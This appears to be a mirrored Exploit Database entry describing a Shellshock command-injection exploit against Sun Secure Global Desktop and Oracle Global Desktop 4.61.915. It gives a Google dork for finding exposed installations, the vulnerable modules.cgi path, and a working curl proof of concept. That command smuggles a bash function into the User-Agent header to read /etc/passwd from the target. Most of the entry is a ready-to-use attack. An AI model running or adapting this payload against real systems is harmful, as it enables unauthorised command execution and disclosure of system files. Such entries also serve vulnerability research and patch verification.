Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 – Command Injection (Shellshock)

• Exploit Database
• 120 阅读

• 作者： lastc0de
  日期： 2016-06-06
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/39887/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

  # Exploit Title: ShellShock On Sun Secure Global Desktop & Oracle Global desktop # Google Dork: intitle:Install the Sun Secure Global Desktop Native Client # Date: 6/4/2016 # Exploit Author: lastc0de@outlook.com # Vendor Homepage: http://www.sun.com/ & http://www.oracle.com/ # Software Link: http://www.oracle.com/technetwork/server-storage/securedesktop/downloads/index.html # Version: 4.61.915 # Tested on: Linux   VULNERABLE FILE http://target.com//tarantella/cgi-bin/modules.cgi   POC : localhost@~#curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://target.com/tarantella/cgi-bin/modules.cgi > xixixi.txt   localhost@~#cat xixixi.txt which will print out the content of /etc/passwd file.